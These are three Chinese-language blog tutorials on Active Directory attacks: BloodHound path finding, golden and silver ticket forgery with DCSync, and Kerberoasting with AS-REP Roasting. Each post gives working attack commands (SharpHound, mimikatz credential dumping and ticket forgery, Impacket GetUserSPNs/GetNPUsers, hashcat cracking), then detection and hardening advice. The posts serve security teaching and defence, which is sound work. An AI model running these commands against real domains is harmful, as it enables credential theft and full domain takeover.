域渗透 on SoulJian小站

域渗透：BloodHound 域关系分析

Sat, 29 Aug 2026 18:40:00 +0800

写在前面：合法学习边界

BloodHound 分析只允许在授权域环境进行。在真实域里采集并利用域关系可能触犯法律。

一、漏洞原理

域里的权限关系极其复杂（组嵌套、GPO、成员关系）。BloodHound 把这些关系建模成图，帮攻击者找到从当前账号到域管的最短攻击路径。

1
2
3


SharpHound：采集域数据（用户/组/会话/ACL/关系）
Neo4j：存图数据库
BloodHound UI：可视化查询攻击路径

它不直接“打”，而是告诉你“怎么打”。

二、影响与危害

1
2
3
4


一眼看清域权限结构
找出到域管的最短路径
发现 Kerberoastable、AdminTo、CanDCSync 等高价值关系
大幅加速域渗透

风险等级：高（信息优势巨大）。

三、利用 / 复现

环境准备

1
2


Neo4j + BloodHound 客户端
域内一台可执行命令的机器

第一步：采集

1
2
3
4
5
6


# Windows 域内
SharpHound.exe -c All
# 解释：采集域内用户/组/会话/ACL 关系，打包成 zip
# 或 Linux 侧用采集器
bloodhound-python -u user -p pass -d corp.local -ns 域控IP -c All
# 解释：无需登录 Windows，用 LDAP 远程采集域数据

生成 .zip 数据包。

第二步：导入并分析

1
2
3
4
5
6


把 zip 拖进 BloodHound UI
使用预置查询：
- Find all Domain Admins
- Find Shortest Paths to Domain Admins
- Find Kerberoastable Users
- Find Users with CanDCSync

第三步：找攻击路径

1
2
3
4


从“当前账号”出发
看是否有 AdminTo / GenericAll / WriteDACL 等高权限关系
沿路径逐跳推进到域管
配合 Kerberoasting / 票据 / PtH 落地

四、检测

1
2
3
4


域内出现大量 LDAP 查询（SharpHound 采集特征）
异常账号批量枚举用户/组/ACL
BloodHound 采集期间流量突增
对 LDAP 查询频率告警

五、防御

1
2
3
4
5


清理高权限组的不必要成员
收紧 ACL（GenericAll/WriteDACL 最小化）
减少域管账号与会话
启用 LDAP 审计与异常查询告警
定期用 BloodHound 自测找攻击路径

六、修复

1
2
3
4


移除不必要的高权限关系与嵌套组
重置被泄露账号、下线高权限会话
收紧 GPO 与对象 ACL
修复后复测：攻击路径数量显著下降

七、小结

BloodHound 把“域渗透靠经验”变成“按图索骥”：采集 → 导入 → 找最短路径 → 落地利用。防守方也用它做自测，用同一种工具理解攻击面，才能针对性加固。

域渗透：黄金票据、白银票据与 DC 同步

Sat, 29 Aug 2026 13:50:00 +0800

写在前面：合法学习边界

票据伪造与 DC 同步只能在自建 AD 靶场进行。在真实域环境伪造票据、提取 krbtgt 哈希、同步域控凭据可能触犯法律。

一、漏洞原理

Kerberos 认证中，票据的可信性由密钥保证：

1
2
3


TGT（黄金票据）：用 krbtgt 账号的哈希签发，可伪造任意用户
服务票据（白银票据）：用服务账号哈希签发，可伪造对某服务的访问
DCSync：拥有复制权限的账号可远程同步域控凭据哈希

核心：

1
2
3


黄金票据 = 拿到 krbtgt 哈希 → 伪造任意用户 TGT
白银票据 = 拿到服务账号哈希 → 伪造服务票据（不经过 KDC）
DCSync = 有 Replicating 权限 → 直接同步域管哈希

二、影响与危害

1
2
3


黄金票据：持久存在、域内任意访问，改密码也不一定失效（krbtgt 需两次）
白银票据：无需 KDC，隐蔽，直打指定服务
DCSync：直接拿到域管/其他账号哈希，一击致命

风险等级：严重，基本等于域失守。

三、利用 / 复现

第一步：拿到权限与哈希

在已控制的域内机器上，用 mimikatz 抓取凭据：

1
2
3


privilege::debug
sekurlsa::logonpasswords
# 解释：privilege::debug 提调试权限；logonpasswords 抓内存中的哈希/明文

要伪造黄金票据，需要 krbtgt 的哈希 + 域的 SID。

第二步：生成黄金票据

1
2
3


kerberos::golden /user:administrator /domain:corp.local \
 /sid:S-1-5-21-xxx /krbtgt:<krbtgt哈希> /ptt
# 解释：用 krbtgt 哈希伪造管理员 TGT，/ptt 直接注入当前会话

/ptt 直接把票据注入当前会话，即可访问域内任意资源。

第三步：白银票据

1
2
3


kerberos::golden /user:administrator /domain:corp.local \
 /sid:S-1-5-21-xxx /target:dc.corp.local /service:cifs \
 /rc4:<服务账号哈希> /ptt

第四步：DC 同步（DCSync）

用具备复制权限的账号：

1
2
3


lsadump::dcsync /domain:corp.local /user:krbtgt
lsadump::dcsync /domain:corp.local /all
# 解释：DCSync 通过复制协议远程拉取目标账号哈希，无需登录目标机器

即可远程拿到目标账号哈希，进而制作黄金票据或直接登录。

四、检测

1
2
3
4


异常 TGT：不存在的用户、无 KDC 请求的票据使用
4624/4629 登录事件中票据信息异常
大量 DCSync 特征的复制请求（事件 4662）
黄金票据：krbtgt 哈希被异常使用（改密两次后才失效）

五、防御

1
2
3
4


限制具有复制权限的账号，最小化 DCSync 面
特权账号监控 + 不在普通机器登录
启用 Kerberos 与复制相关审计（4662、4769 等）
实现 RODC / 增强密钥策略

六、修复

1
2
3
4


怀疑黄金票据：连续两次重置 krbtgt 密码（让旧票据失效）
清理被植入的票据与后门
下线/重置被泄露的特权账号
全局排查并复测：旧票据不再可用

七、小结

黄金/白银票据与 DCSync 的共同点是“拿到密钥/权限就能绕过正常认证”。域渗透到最后往往就落在这几招上；防守核心是保护 krbtgt、限制复制权限、监控票据与复制事件。

域渗透：Kerberoasting 与 AS-REP Roasting 实战

Sat, 29 Aug 2026 11:50:00 +0800

写在前面：合法学习边界

Kerberoasting 与 AS-REP Roasting 只能在自建的 AD 域靶场进行。在真实域环境中抓取和破解服务账号密码可能触犯法律。

一、漏洞原理

Kerberos 认证时，票据里包含服务账号密码派生的密钥。普通域用户可以合法申请这些票据，但可以拿回本地离线破解。

两种攻击的本质：

1
2


Kerberoasting：申请 SPN 服务账号的 TGS 票据 → 破解其密码
AS-REP Roasting：对未开预认证的账号申请 TGT → 破解密码

共同点：Kerberos 协议把密码哈希放进可离线带走的票据里，攻击者拿到的不是密码本身，而是可以破解的哈希。

前提条件：

1
2
3


一个普通域用户账号（Kerberoasting）
存在 SPN 服务账号（Kerberoasting）
存在 DONT_REQ_PREAUTH 账号（AS-REP Roasting）

二、影响与危害

1
2
3
4


域内服务账号密码被离线破解
破解后访问对应服务，甚至提权到域管
无需频繁登录，告警少、隐蔽性高
批量申请票据可能造成大量服务票据请求

风险等级：高。普通域用户权限即可发起，一旦服务账号密码弱，域基本就守不住。

三、利用 / 复现

环境准备

自建 AD 靶场，准备：

1
2
3


域控 + 普通域用户
一个 SPN 服务账号（密码设简单，如 P@ssw0rd123）
一个关闭预认证的账号

Kerberoasting 步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


# 1. 找 SPN 服务账号
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10
# 解释：列出域内可 Kerberoast 的 SPN 服务账号

# 2. 导出票据哈希
GetUserSPNs.py 'corp.local/user:Pass@123' -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt
# 解释：申请 TGS 票据并保存，票据里带服务账号密码哈希

# 3. 离线破解（模式 13100）
hashcat -m 13100 kerberoast.txt rockyou.txt
# 解释：13100 是 Kerberoast TGS 哈希模式，rockyou 为字典

域内 Windows 上用 Rubeus：

1

Rubeus.exe kerberoast

AS-REP Roasting 步骤

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 1. 找关闭预认证的账号
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10
# 解释：对用户列表尝试申请 TGT，能成功的就是没开预认证的账号

# 2. 导出哈希（模式 18200）
GetNPUsers.py 'corp.local/' -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -outputfile asrep.txt
# 解释：保存 AS-REP 哈希，18200 是 AS-REP 破解模式

# 3. 破解
hashcat -m 18200 asrep.txt rockyou.txt

结果验证

1
2


hashcat 显示 Cracked 并给出明文密码
用该账号密码验证登录对应服务

四、检测

1
2
3
4


大量 4769 事件（服务票据申请异常）
同一账号频繁申请不同 SPN 票据
异常时间段的 kerberoast 请求
账户被多次尝试（AS-REP 场景）

五、防御

1
2
3
4


服务账号用随机高复杂度密码
服务账号密码定期轮换
清理不需要的 SPN 账号
关闭非必要账号的“不要求预认证”

六、修复

1
2
3
4


对已泄露的服务账号：立即重置高强度密码
对所有 SPN 服务账号统一轮换
迁移到组托管服务账号 gMSA（自动轮换密码）
升级密码策略并审计弱密码账号

七、小结

Kerberoasting / AS-REP Roasting 的共同本质是“票据里带密码哈希，可以离线破解”。普通域用户就能发起，破解成本只取决于密码强度。防御核心是高复杂度密码 + 轮换 + 监控服务票据申请。